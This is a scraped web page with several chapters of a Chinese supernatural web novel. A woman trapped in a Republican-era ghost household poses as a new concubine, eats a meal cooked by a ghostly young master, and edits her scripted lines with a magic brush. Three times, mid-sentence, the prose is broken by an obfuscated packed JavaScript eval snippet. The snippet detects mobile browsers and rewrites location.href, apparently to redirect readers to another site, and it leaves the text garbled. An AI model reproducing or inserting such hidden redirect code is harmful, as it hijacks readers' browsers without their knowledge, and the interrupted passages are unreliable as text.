老爷的手指上没有戴什么多余的装饰,但他在黎秋又敬茶时,轻拍了拍黎秋又的手,想叫她放轻松,黎秋又却感觉被针扎了似的。 不是心理作用,而是手真的像被针扎了一样疼,再看过去,老爷手里也真是什么暗器也没有的。 敬茶到二太太这里,那股味道好像又要重一些了。 “乔氏,敬二太太喝茶。” 二太太端了端身子,又端了茶,“是个听话的,既如此,那就尽早为老爷开枝散叶,也算是为贺家分忧了。” 她饮了半口茶,又说:“给你半年时间,如果半年你的肚子都没什么动静,那这个家就留你不得了。” 黎秋又的CPU又快烧了。刚才不是她给的什么什么绝育汤的吗? 别告诉她这是个宅斗剧本!那黎秋又真的是能死得渣都不剩了。 不知道怎么回复这句话,来之前也没能提前打草稿,只好低着头后退了几步。 在老爷看来,乔氏是害羞了,他伸手去握黎秋又手腕,她不着痕迹地稍微侧了一下躲开了。 就算这么多双眼睛看着,她也不想被老头子抓啊!而且还是个带刺的老头。 “振江,昨晚的事情已经传出去了,在这个节骨眼上,你可不要因小失大,乱了我们的计划。”枯木疙瘩脑袋讲起话来声音空洞又苍老。 听上去像是很重要的情节,不知他们说的昨晚的事情,是鱼腥臭?还是死戏子?黎秋又努力记住这些台词。 身为将军的贺老爷,八风不动地靠在椅子里,即便是身体带病,也有种杀神的气质,将对方的那句话,讽刺和威慑力都降到最低。 他看上去根本不像是病到卧床不起,需要靠冲喜来祛煞的样子,也根本不像是需要由儿子代为拜堂的样子。 贺老爷笑得中气十足,轻松优雅,声音都透露着上位者的沉着,“小事,无碍。” “哼,”枯木墩子用鼻孔哼了声,黎秋又往贺老爷身后又躲了两步,委屈的表情看上去实在是我见犹怜,然而她只是觉得又快臭曰了。 “如今贺砚清回来了,你要叮嘱他,仔细站位,乱世之中,万不能行差踏错。” 枯木墩子高傲地坐在那里,双手掌着太师椅扶手上的两只小狮子,像是下一刻就要黄袍加身,要他们都给他磕个头高呼万岁了似的。 黎秋又在听见贺砚清的名字时,耳朵毛发痒,精神似乎格外注意与贺砚清有关的话题。 这应该是乔挽云的心境作用。 “怀真学的是建筑,不与我们牵扯,何须忧心?” “哼,他过段日子要进入工程研究所,你不提,当我们都不知道?” 贺老还是笑着的,但黎秋又感觉到,他耐心所剩不多。 她也没什么耐心了,满是鬼怪的房间,在她入门第二天敬茶时,开这种严肃会议,黎秋又整个人都不好了。 枯木疙瘩散发出来的气味更重了,黎秋又甚至感觉他的气味已经化成实质,在周遭弥漫着黑气。 “年轻人的事情……”贺老脸上仅剩不多的笑容被打断。 “贺振江,摆正你的态度,记住你现在的地位都是怎么来的!” 黎秋又也不明白怎么三言两语就剑拔弩张了。 空气都安静下来。 咕~ 黎秋又的饿肚子打破了凝重的氛围。 堂门前,一身形颀长,身姿挺拔的人影背着光过来,轻掀长衫,迈过门槛,朝昨天他还拧过的脑袋,和在场众人,都深鞠一躬,声音澄澈如清泉,“诸位叔伯长辈早上好,爸爸,二妈妈,早上好。” 黎秋又对香的味道不是很敏感,除非浓重到无法忽视。 但贺砚清进来,她闻到了淡淡的饭菜香。 讲话的空隙间,众人又听见“咕咕~”几声。 贺振江闭了闭眼,再睁眼,神色中又露出了笑,隔着黎秋又的袖子,握住她手腕,把她拉近了些,“我的乔儿饿了。” 贺砚清视线不转,一只手在背后狠狠掐着自己的手心。 贺振江又笑着对贺砚清说:“怀真,怎么不叫姨娘?” 贺砚清松开紧绷的手指,面上又露出温雅笑意,“爸爸,乔小姐既是冲喜侍疾入的门,又代我尽孝,于我,于贺家,她都是恩人,但自古以来姨娘这个称呼都是为奴为仆者,我们这样做,岂不是忘恩负义?” 黎秋又脑袋嗡嗡的,他叽里咕噜说什么呢,好饿…… 贺振江想想:“嗯,怀真说的也对,是不应该。” 但二太太脸色已经黑成了锅底。 “那就叫乔小姐就行。”贺振江宽容道:“乔儿饿了,不如怀真先带乔儿去吃点东西,不用在这里陪着我们这些老古董了。” “谢谢老爷。”黎秋又飞快道谢。 “慢点,别急,瞧你开心的。”贺振江没松手,拉住了黎秋又。 他的拇指在黎秋又手腕上摩挲了两下,“去账房领点零用钱,一会儿去街上逛逛,买点喜欢的东西,你妈妈那边,怀真说已经安排好了,别担心。” “谢谢老爷。”黎秋又继续飞快道谢。 “别跑,别摔着了,去吧。”他拍了拍黎秋又的手。 黎秋又看上去很高兴,贺砚清长睫遮眸,掩盖了眼底的情绪。 先前还晴空暖阳的,黎秋又跨出门就发现天色变阴沉了,这破天气,别等会又下起鬼雨了。 贺砚清在身后与长辈们道别,才出来走在黎秋又身侧。 昨晚发生的事情不少,单看刚才堂前众人的态度,他们像是不记得发生过变故的事。 二太太不记得满院鱼腥气的事,那枯木疙瘩不记得贺砚清拧他脑袋的事,贺振江不记得他昨晚压根没见过乔挽云的事。 照这么说,黎秋又身边的贺砚清,应该也不记得他和自己拜堂的事。 一切事件都还在按照原来的轨迹运行。 他一早就差人来守在门口,叫她不要喝二太太送来的汤药,也是因为知道这药不是什么好东西。 这么想着,迎面就过来了俩人。 唐约和廖欢。 她们规规矩矩,微垂着脑袋走到面前来,朝贺砚清颔首。 黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698924|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋又眼睛都瞪圆了,趾高气昂的唐大小姐,居然会低头。 还以为她们被摄魂了呢,黎秋又就看见唐约瞪了她一眼,意料之中。 “怕你不自在,请了唐小姐和廖小姐来陪你,我先带你们去吃饭。” 贺砚清的俩狗腿子也跟上来了,把先前他挽在臂弯的那条红色围巾递来,宣余笑容憨憨的,“少爷一早上在厨房忙个不停,听说你被叫到前厅这么久都不出来,又赶紧跑去救你,好在乔姐姐毫发无损,不然少爷怕得掀了那堂屋。” 围巾在贺砚清手里,他捏了捏,又犹豫了一会儿,靠近黎秋又,要为她戴上。 黎秋又条件反射地退后一步,谁知道身后还站着一个默不作声的贺尧,粗高跟小皮鞋踩到他脚上,又是一阵“嗷嗷”鬼叫。 被踩了的傻孩子一边嗷嗷叫,一边跟一堵墙似的挡在黎秋又后面八风不动,叫她退无可退。这时候天看上去乌得快要黑了,贺砚清伸过来一只手握了握黎秋又肩膀。 她不敢动了。 黎秋又今天穿的是淡红色长裙,是民国时下很流行的“上紧下宽”款式裙装,上半身是合体的西式剪裁,下半身是百褶的东方裙袍。 贺砚清很会搭围巾,宽大的围巾随手在黎秋又身上裹了两圈,裙子变成了披肩款,三两下就衬出了大家闺秀的气质,而且,红色很配她。 贺砚清还贴心地把压在围巾下,她自己随意扎的低马尾掏出来,理了理。 “还冷吗?”贺砚清问。 黎秋又哆嗦着,摇摇头。 贺砚清那张俊脸上,愁云浓雾,跟这惨淡的天气似的,他的眼里,黎秋又正大睁着双眼,盛着水光,一眨不眨地望着他,嘴唇紧抿。 远处有脚步声,还有丫鬟叽叽喳喳聊天的声音。 “那日你去二太太房里,怎么就被赶出来了?” “哎,不过是聊到了十六太太入门,我随口提了句当年南都轰动一时的故事,谁知道二太太突然就变了脸。” “你提的可是鱼腹传情那个事儿?” “嗯。” “你提的那不是鱼腹传情,你提的是你的脑袋吧!”这个丫鬟像是在另一人的身上拍了一巴掌,又继续说:“你也来府里两三年了,莫说鱼腹传情,就鱼这个字提了,那都是提头的事情!” 八卦听到重点,黎秋又身边的贺砚清也听到了,他朝那个方向走了两步,轻咳一声,俩丫鬟听到声音,慌忙噤声跑走。 嚯,看样子,少爷蛮善良的啊! 黎秋又跟在贺砚清身后,几人在后面挤眉弄眼。 黎秋又:你们怎么成他的人了? 唐约瞪回来。 廖欢指了指贺砚清,又两手大张,龇牙咧嘴:这少爷,吓死人了。 池二浩撇撇嘴:胡说,少爷人很好的。 宣余干笑:如果没有罚我抄英语单词的话。 贺尧皱着眉头,嘴巴紧闭,满腹心事的样子。 “不知道有没有记错,乔小姐喜欢吃不能太甜的点心,不能太辣太咸的中餐,不能太生的牛排,不能太酸的水果。” 贺砚清在前面等了她半步,黎秋又不情不愿地跟上去。 快别说了,她快饿死了,咕~ 乔小姐还挺矫情,但黎秋又想想,自己喜欢吃的,好像也是这样。 这话不好回答,她只能“嗯……” “难怪少爷在厨房愁容满面的,敢情是无从下手呀!”宣余笑。 池二浩胳膊肘捣了他一下,“听着复杂,但其实都是些很普通的要求,乔姐姐的口味并不难照顾。” 天上阴云散开一些。 黎秋又侧脸去看贺砚清,发现他面上又有了点笑意。 她又抬头看看天色。 黎秋又觉得,她好像发现了了不得的事——贺砚清的情绪,在影响这幻境里的天气! 于是!黎秋又快步跟上贺砚清,伸出两根手指小心揪了揪贺砚清的袖口,一双眼眸晶莹发亮,“是少爷亲手做的饭吗?少爷真厉害!” “还有,我妈妈的事,谢谢你,你人真好!” 12. 第 12 章 天气很好,头顶那片让人难过的阴云很快被风吹散,转瞬间晴空万里,黎秋又的心情也好,贺砚清暂时离开了,饭厅里只剩下了他们几个,人。 桌上摆的菜品很丰盛,是贺砚清亲自下厨做的,池二浩和宣余两人全程“指导”,放心得很,小鸡炖口蘑,虾仁青笋,蟹黄豆腐,清炒豌豆苗,都是些做法简单,口味清淡的家常菜式。 黎秋又在心里把贺砚清夸出花来,就是不太确定人吃鬼菜,会不会有什么奇怪的反应。 唐约两人看上去像是很不习惯大早上吃这么丰盛,脸色都不太好。 “唐大明星,今天怎么光瞪人,不讲话?”黎秋又一边问,一边尝了口裹满蟹黄的豆腐,非常合口味,非常满意,差点把舌头都咽了,害得她狂炫两大口白米饭。 “难——”唐约一个字说了两三秒。 黎秋又:“?” “吃——” 宣余:“啊!唐姐你怎么了?” 黎秋又一拍桌子,“先前说找唐约要签名的,该不会是你俩吧?” 池二浩高举双手以示清白,“我才不会在这种很明显已经脱离现实世界的环境下干这么没水准的事情!” “你有水准,回答问题说有五个象限就是你的水准,我们现在就是掉进你的第五个象限里来了。”宣余终于找到能发牢骚的发泄口了。 “别——!”唐约开口,粗哑的声音又喊了两三秒。 此人很不对劲!黎秋又再问:“你到底怎么了?” “吵——!” 唐约又瞪了黎秋又一眼,不说话了。 她的眼神很刀人,俩小孩瞬间噤声。 黎秋又不忘继续扒两口饭,整张桌子上就她胃口最好,嘴里的东西咽下去以后,她问廖欢:“她不说,你说。” 廖欢看了眼唐约,唐约没理她,她才说:“还——” 她一开口,也是一个字两三秒…… 黎秋又叹口气,耐着性子看着她。 池二浩和宣余也齐刷刷地盯着廖欢,廖欢张了张口,决定用手指沾水,在桌上写字。 “还不是因为你的那碗慢性口口口口奶茶,早上你们走了,我俩饿得慌,就把那奶茶喝了。” “什么什么?口口奶茶是什么?”池二浩问。 “说来话长……”黎秋又简单讲了一下自己发簪笔的作用。 “所以,你们是把刚才银烛给乔姐姐的汤药给喝了?然后你俩讲话就变成了,这——样——?”宣余学唐约讲话,一脸欠扁样。 “……”对面二位姑娘沉默。 可池二浩仍旧一脸愁云,“被改过的汤药,真的不会再有原来的效用了吗?” 黎秋又闭着嘴巴嚼完口里的饭菜,“应该不会有了。昨晚我改了那水潭里尸体的性别,今早上尸体变回女了吗?” “说到这事,确实蹊跷!”池二浩压低声音,“我们捞人的时候感觉就像是女的,而且还是高挑精瘦的女人。” “对!我还跟浩子说呢,看身形还有点像唐约姐,所以我们才这么卖力地打捞。敢情变成男尸还是因为你改了台词。” 黎秋又皱眉,还真让唐约的直觉猜对了,如果当时没有改掉性别,那唐约就无了。 唐约脸色本来就不好,现在也看不出来是不是更加不好了,总之就沉着脸,向后靠在椅背里,看着几人讲话。 “还有,昨晚少爷送你们回去睡觉,我和宣子守着尸体,本来是要找个席子给他卷卷,从后门扔出去的,但是二太太非不准我们动。” 贺砚清回到这里后,二太太的人已经把尸体搬走了,她对贺砚清说夜里要去老爷房里,贺砚清就没再说什么。 “但少爷可能是在怀疑什么,叫我们俩在府里上上下下翻了个遍,也没找到那个男尸。” “倒是从井里捞了不少海鲜出来。”宣余做简易补充。 唐约听着,眉头皱得更深了。 “刚才那俩丫鬟的对话都听到了吧?”黎秋又压低声音,“二太太肯定是有问题的。” “昨晚是因为发生了变故,乔姐姐,那你今晚,是不是要去老爷房里了?”池二浩担忧。 黎秋又吃着东西,满口都是幸福,听到这话又开始惆怅了,“大概是的,帮我出出主意吧,我真不想去老爷房里啊!” “乔挽云她,怎么这么想不开呢。”黎秋又叹气。 黎秋又和她的妈妈一天也没有相处过,她只在外婆房里的照片上见过妈妈的模样,年轻,漂亮,除此之外,没有别的感情。 她不知道妈妈如果在身边会是什么样的。 别人的妈妈,会因为孩子的成绩起伏而变化情绪,开心时会带孩子去吃喝去玩儿,不开心的时候可能还会打骂孩子。 外婆不会,她甚至很少问黎秋又的成绩,只会问黎秋又在学校有没有吃饱,有没有摔跤,有没有和同学起争执。 外婆离世前,没生什么病,前一天还在楼下跟其他老太太们跳广场舞,晚上睡梦中就去了。 而现在,她在这个鬼地方,有了个生病的妈妈,还要靠牺牲自己的幸福去换钱,来为妈妈治病。心里在拧麻花,好别扭。 “我——”在一边沉默了好久的贺尧,一直发呆,突然开口,跟唐约一个动静。 “想——” 黎秋又难得有耐心,她已经清空面前的那碗蟹黄豆腐了,腾出嘴来说一句:“你说。” 贺尧嘟了嘟嘴,“你为什么要跟别人结婚。” “咳咳,”黎秋又呛住了。 咳了好一会儿,才在贺尧幽怨的眼神中缓过劲来。 “关你什么事?小孩子家家的管好自己吃饱喝好就可以了。”黎秋又给贺尧碗里夹了一块口蘑。 贺尧皱着眉,一脸的不满意,“可你是我嫂子,你跟别人结婚,就是对我哥哥不忠。” 黎秋又琢磨了一个说法:“你知道演戏吗?”她指了指唐约,“在电视上见过她吗?演戏的,结婚这个事情,我演的,假的,知道了吗?” 贺尧:“那你演完以后,还是我嫂子吗?” 黎秋又无奈,狠狠点了点头。 毕竟能不能留着全尸离开这个鬼打墙还是个问题。 贺尧瞬间满脸阳光灿烂,拿起筷子,举起来对齐,就开始哐哐炫饭了。 唐约疲惫地深深叹气,也夹了点菜吃。 “唐约姐,放心吃,少爷做菜的时候我们俩一直在旁边的,别怕有问题。”池二浩夹了菜塞进嘴里以示安全。 “难——!” “吃——!”唐约拒绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698925|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难为她了,讲话这么费劲还把难吃说了两遍。 黎秋又抗议:“哪里难吃了,” “少爷厨艺很不错!一个民国留子,把饭做成这样,很厉害了好吧!”黎秋又吃好了,满足地擦擦嘴,向后靠进椅背里。 这是她昨天一整天到今天吃的第一顿饭,她吃得肚子都撑圆了。 唐约又看了她好一会儿,黎秋又疑问回看。 没反应…… 唐约和廖欢这才开始放心地风卷残云。 敢情是拿黎秋又试毒呢。 吃饱喝足,黎秋又懒懒地靠坐着消化食物,金光闪闪又开始汇聚。 她赶紧闭上了眼睛,内心无能狂怒:怎么一点休息时间不给?一点自由空气不给? “我——”唐约开口,大家都同情着没有打断她的话。 “要——” “找——尸——体——” “你要找鬼体我都没意见。”黎秋又悲哀,她认命般的睁眼,看完台词,她又把脑袋朝后一栽。 【乔挽云应付过难关,便立即去账房支了钱,她揣着一袋银元,径直去了宅院后门,她邻家的哥哥一早便等在了那处。】 “哇去!好神奇的字!”宣余凑到黎秋又旁边来看,小字像是会呼吸,在空中浅浅漂浮。 他用手戳了戳,“还真能擦掉哈。” 池二浩一巴掌朝他拍过来,“狗登,别给坏了事儿!” 唐约瞥黎秋又一眼,嗤笑一声:“乔——小——姐——” “还——真——多——情——啊——” 如果是她原本的语气讲出这句话,大概就是讽刺,现在拖着长音讲话,黎秋又还听出了阴阳怪气。 黎秋又还闭着眼,叹气,“唐大演员能不能给支个招,我这乔小姐演不好,不是死少爷手里就是死老爷手里,现在还没准要死在邻家哥哥手里。” “也没那么可怕,谨慎点别说错话应该就没事。”池二浩宽慰着。 黎秋又从袖口里掏出玉质碧绿的笔,思考怎么改动能对她有利。 宣余吃着饭,下意识就去搭池二浩的话,“就怕最后演员入戏了,彻底把自己变成角色。” 他这话说完,黎秋又还没什么反应呢,唐约搁下筷子,起身就朝屋外走,廖欢慌忙也起身,一边追,一边喊:“唐——约——姐——” 黎秋又总觉得这两天发生的什么事情都怪,就是没时间没精力去理顺。 现在,她游刃有余地擦掉了台词中的银元。 刚嫁人就拿钱给外人,还是外面的野男人,这个下场可够让她浸第二次猪笼了。 可她又不确定乔挽云给男人钱是什么目的,万一坏了大事…… 除非是救人性命,否则黎秋又无法容忍乔挽云是个恋爱脑,拿钱供养野男人。 她可以把银元改成药草。 “艹?”宣余看着黎秋又写字,一边感慨神奇,一边疑惑,“乔姐姐,你骂人。” “我真是草了……”黎秋又攥着笔狠狠甩了两下,如果是圆珠笔,中性笔,没准还能甩出墨来,可这特么是毛笔啊! 她又是哈气又是舔毛的,金光没给她机会,还没等她写出剩下的字,就消散了。 所以,黎秋又一会儿得揣一兜……艹,去后院后门? 13. 第 13 章 贺砚清回来了。 瘫在椅子里的黎秋又坐直身体,池二浩和宣余连忙起身迎上去,正在吃饭的贺尧抬起头来看了眼,又低下脑袋去安静吃饭。 贺砚清还是那身天青色长衫,但看上去不太一样了。 面上带着温柔的笑,手中捧着一小束不知道哪里采的小花,清新和暖,和冬日的厚重氛围一点也不搭。 莫不是被银烛附身了? “怎么不见唐小姐二人?”贺砚清顺着圆桌边,一直走到了黎秋又身侧。黎秋又“腾”地站起来,又被贺砚清按下去,宽大温凉的手掌力道不大,但黎秋又却感觉像是把她钉在凳子上了。 前一秒还在夸他厨艺不错的黎秋又,这一秒又开始觉得贺砚清此人,深不可测,阴晴不定,霸道强硬。 “表姐她们,有点别的事要做,就没办法陪我了。”黎秋又声音小而温吞。 两位狗腿子跑在贺砚清身前,在黎秋又身侧的座位上又是拖凳子又是收拾桌面的。 贺砚清看上去十分满意这两个有眼力见的小孩,轻拍了拍宣余的肩,他和池二浩两人撤开,还一边笑着说:“少爷是没看见,你做的饭呀,乔姐姐说可好吃了!吃得两眼放光!” “是吗?”贺砚清在黎秋又身侧坐下来,轻轻嗅了嗅手中的小花,微微皱眉,看向黎秋又,把花递给她,“你帮我闻闻,这些花有香味吗?我怎么闻不到。” 外面阳光晴好,暖阳灿烂得像是下一秒就要过夏天似的,黎秋又甚至开始幻听夏季的鸟叫蝉鸣。 如果是乔挽云,她会怎么回答?黎秋又在线求助!急! 信号发送失败,俩小男高一个脑袋支到一边去,谁也不看她。 黎秋又认真仔细地闻了一下。 很明显这种路边的野花是没有香味的,就算贺砚清闻不到,也该有点常识。黎秋又却闻到了一点什么味道。 她对香的气味太不敏感,凑在花上闻闻,那丝丝缕缕的气息又引着她朝贺砚清身上嗅,最后,她认真下结论:“有一点,清新,像雨后的青草,又像是竹香,很好闻。” 这是贺砚清身上的味道,鬼怎么会有香味?难道说他的尸身是装在竹筒里的? 黎秋又评价完后睁眼,才发现自己距离贺砚清只有咫尺,他柔软的睫毛垂下,瑞凤眼让他显得更温柔,眼底流淌着笑,唇边的弧度更大了。 “真的好吃吗?”那张很开心的嘴唇张开,低缓轻柔地问话,场面变得旖旎红温。 黎秋又愣了愣,她说的是好闻,不是好吃。 “哦,你说饭菜吗?好吃,真的好吃,你看我肚子,吃得鼓鼓的。”她拍了拍肚皮。 场面有些安静得尴尬,她又关怀地问:“少爷,你吃了吗?” 贺砚清眼角弯了弯,“清晨时便吃过了,乔小姐这个懒觉睡得,我还以为你又不见了呢。” 他把小花放在一旁,从面前拿起筷子,夹了一颗青笋尝尝,“很多年没有做过菜了,你也不告诉我实话,小池你一向老实,你来说,这些菜里,哪些口味需要调整?” 这感觉,跟被老师点到名起来回答问题简直一毛一样! 池二浩靠近贺砚清来,咽了咽口水,黎秋又发送电报:[允悲] 一直埋头苦吃的贺尧这时候抬起头来,“嗝~” 然后站起身,喊一句:“该睡午觉了。” …… 池二浩被他这操作惊到了,直到贺砚清回过头去,看他在做什么,怎么迟迟不回话,他这才回过神。 “这道清炒豌豆苗的口味适中,其他菜式的味道都有些淡。”池二浩果真老实,宣余在他身后双手合十。 黎秋又时刻注意着屋外的天气。 很好,晴成夏天了。 “看来乔小姐没有骗我。”他放下筷子,视线又锁在黎秋又身上,“乔小姐吃饭一向比旁人吃得清淡,那果真是合口味,吃饱了?” 黎秋又狠狠点头,贺砚清他,还挺容易开心的嘛。 不过,他竟然能很清晰地意识到自己是没有嗅觉,没有味觉的。 这不是一般的鬼! 鬼怪陷入执念中,他们通常是不知道自己已经死了,生人误入,最忌讳的,就是对鬼怪说“你已经死了。” 他们会因为难以接受和面对心里恐惧,而暴走狂怒,轻则表露凶相,成为死后惨状,对人发出极端恶意,从而发动疯狂攻击。 重则执念空间崩解,会将他生平经历的所有的可怕的事情瞬间重现,记忆洪流的冲击会令他和空间里的人,魂飞魄散,彻底湮灭。 倘若这里真的是乔挽云的执念幻境,那贺砚清应该不可能有自主意识。他应该和其他鬼怪一样,在自己的既定轨道做着生前做过的事。 黎秋又想要试探着问昨晚那尸体,还有鱼味的事情,如果贺砚清不记得,那就好办。 她生硬地转移话题,“少爷昨晚睡得好吗?” 贺砚清神色闪过惊喜,但看着黎秋又有些谨慎小心的表情,又回归平静,他就像平常的朋友一样,回答黎秋又:“睡得不是很好,心里总惦记着事情。” “惦记什么啊?”黎秋又问。 贺砚清想想,似是在认真回答:“惦记乔小姐妈妈的病情,惦记昨天发生太多事,乔小姐会害怕,也惦记乔小姐在陌生的地方,会睡不好。” 黎秋又撇嘴,敢情他就惦记自己姨娘了。 “啊!说到昨晚,那昨晚从小潭里捞出来的尸体怎么样了?”黎秋又趁火打劫,哦呸,趁热打铁。 贺砚清眼神闪过一丝困惑,“尸体?” 太好了,贺砚清也不记得!那说明,他没有强大到已经有了自己的意识,也意味着,他只会做自己生前做过的事。 然而下一秒—— “乔小姐问这个做什么?莫不是认识那男人?” “嫂子不认识,但那个凶女人认识。”贺尧跑到贺砚清面前来。 黎秋又立即从座位上弹起来,就要去捂贺尧的嘴,贺砚清却只盯着她,眼底竟有些许质问的意味。 她这才想起,鬼怪们看不见贺尧,黎秋又干笑一声,在贺砚清头顶的发丝上轻轻拍了一下,“这里挂了几根野草。” “他不是在前院唱戏的那位吗?衣服都没换,只是觉得有点可怕,怎么就突然死了?” 池二浩在贺砚清身后,紧急撤回一个贺尧。黎秋又看他把贺尧拽着往外走,松一口气。 “乔小姐怎么记性也不好了?”贺砚清隐隐松了口气,“先前唱戏的,不是你的表姐吗?” 欧漏!这只鬼怎么不按常理出牌!他怎么什么都知道!黎秋又瑟瑟发抖。 “放心,那男人不过是意外溺亡,府里会去梨园询问情况,并给他们一个交代,乔小姐也放心,我会处理好这些的。” 鉴定完毕,贺砚清非但不是普通鬼怪,他早已有了自己的意识不说,还很会避重就轻,什么话也套不出来。 “该不会是让我俩去吧?”宣余担忧得眼珠子咕噜噜转,一般杂事不都是跟班做的。 贺砚清宽容道:“我带着你们去。” 黎秋又朝宣余使眼色,她一会儿还有正事呢,剧本上的剧情如果不走,她估计会被其他鬼怪撕掉。 不过贺砚清他像是知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698926|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎秋又要做什么,他站起身来,又伸过来一只手要搀黎秋又。 为防他不高兴了,黎秋又下意识伸过手去,但在下一瞬,贺砚清又收回了手。 天阴了些。 “是你自己把手抽走的啊!” 天知道她脑瓜子怎么想的,怎么把这句话说出来了。 贺砚清身形顿了顿,黎秋又立即噤声。 她很想知道唐约两人去哪里找尸体,为什么找尸体。 她独来独往惯了,此时却突然非常想有人来陪着她。现在,她一只手拿着贺砚清给她的小花,另一手揣着刚从账房领出来的银子。 走到后院时,份量变轻了。 贺砚清带着俩跟班去了梨园,此时院子安静到像是没有活物。 兜里的银元,真变成了一包草,黎秋又有点肉疼,哪怕是鬼钱,起码在这幻境里,是有用的啊! 停在宅院上空的天气并没有因贺砚清的离开而变化,暖阳照着冬日的空气,呼吸变得不那么寒凉。 如果乔小姐的故事是一部小说,那么在她去后院见邻居哥哥的路上,多少会发生点意外情况。 小说作者就是给笔下主角使绊子的,就算路上没有什么问题,那自己与邻居碰头的时候也会出问题。 最狗血的事情就是在她给人递钱袋子的时候,被小人提前告了状,带着老爷二太太的就过来捉奸了。 黎秋又曾经在小说里写过这样的桥段,凶手杀妻,仅仅因为妻子帮邻居的男人拿了个东西,说了几句话,便被怀疑有奸情。 她身上还裹着贺砚清给她披上的红围巾,在萧条的院子里格外显眼。没准要偷偷告状的人就躲在什么暗处看着呢。 “哐当”一声,后门被人从外面踹开。刚走到门前的黎秋又吓一大跳。 “诶呦,这十六太太吧?吓着您了?”一声音墩憨老实的系着围裙的男人从后门进来,一手持锋利银亮的菜刀,一手揪着一人的耳朵进门来。 黎秋又一时不知什么情况,愣在原地。 “嗐,这人在门口鬼鬼祟祟的,也不知道干什么的,问他是不是昨晚送菜来,今天来收账的,他也不理我,我就把人揪进来了。” “昨晚送菜?”黎秋又看了眼被他揪着的男人,深蓝色布衣长衫,面容清秀,戴着眼镜,这没准,就是她那个邻家哥哥,来要钱的。 憨厚男人嘿嘿笑了一声,“昨晚送鱼的,送得太多了,当时没结钱。” 一声“鱼”黎秋又差点应激,这不是忌讳吗! 那人看她皱眉,朝自己嘴巴打了一下,“瞧我,忘了不能说。” “挽云?是挽云吗?”被揪着耳朵的邻居挣扎着抬起脑袋,“挽云,是我啊,宋铭。” 该死,居然还叫小名。黎秋又急中生智,“哦对对对,是你啊,昨天买的发圈没给钱,你居然还找到了地方。” 那兜干草被她丢给宋铭。 “这……”宋铭颠了颠,一脸质疑神色。 黎秋又皱眉,偏偏脑袋,希望他赶紧识相地离开。 果不其然,身后洞门处传来匆匆步伐声,有丫鬟在小声指路,“二太太,就在这边。” “嗐,原来是这样啊。”那墩憨的中年男人跟屠夫似的,伸手一推,就把宋铭从后门推了出去。 “二太太,你看,十六太太果真在这。” 一个脸生的丫鬟指着黎秋又就到了跟前,身后的二太太面上情绪波动不大,不像是来看戏的样子,反倒有些不耐烦。 “哪里来的野男人?胆敢在这里与姨太太私相授受!” “啪”的一巴掌,黎秋又一惊。 14. 第 14 章 清脆响亮的一声,撞上院墙,又弹回来。 “挑拨离间的贱婢!打三十板子丢出去!”二太太暴怒。 “二太太,二太太奴婢没有,十六太太她……” “啪”又是一巴掌。 “丢人现眼,赶紧拖下去。”身边人把那丫鬟立即拖走了。 二太太嫌弃地用手帕擦了擦手,看向黎秋又,仍旧不咸不淡的,“天色不早了,要出去逛就早去早回,别耽搁,记得今晚要去老爷屋里。” 黎秋又捏着小野花的手都出了汗。 她有点理解不了二太太了,自古以来,没哪个正室会对妾室好脸色,何况这么好的机会能把黎秋又赶出去,她不仅没有顺水推舟,反而还维护了她。 二太太看见了黎秋又身上披的围巾,和手中那束小野花,冷淡一瞥,“这个围巾很漂亮,但你要记住你的身份。”随后就带着人走了。 借她吉言,黎秋又现在感觉披在身上的围巾有些发烫。 “二太太是这样的,看上去情绪都在脸上,但你还是猜不透她在想什么。”中年男人站在黎秋又身边来,没头没尾地说了句。 黎秋又升起一股警惕之心,“你知道什么?” “啊?”男人又嘿嘿笑两声,“嗐,我就一厨子,我能知道什么啊?” 他晃了晃手里的菜刀,银光闪闪,在菜刀上哈了口气,食指一敲,发出“铮”的一声。 他要走,黎秋又拦住他,“昨晚的鱼还差多少钱没给?我可以去账房提一下。” 男人突然压低声音,“鱼?什么鱼?十六太太这话可不兴说哦!” 黎秋又挑眉,她非常确定,这也是个生人了。 半遮半掩,看来他在这里有些日子了,知道的肯定也比唐约她们多。 她略带歉意道:“谢谢先生提醒,请问先生怎么称呼?” “嗐,十六太太别先生先生的了,我就一厨子,听着这些文绉绉的东西难受,我叫张问钦,叫我老张就行。”张问钦一边讲话一边舞着手中的菜刀。 黎秋又向后躲了一步,“那谢谢老张哥,刚才也替我解了围,能否再多问一句,为什么不可以提鱼这个话啊?” “你这孩子,说了别提就别提了,少去别人面前问东问西的,”他像个操心的老爹,压低声音叮嘱黎秋又:“这些话在我这问问就算了,千万别在别人面前问了,不然,一不小心就没了命!” 他最后一个字咬得极重,要让黎秋又牢牢记住。 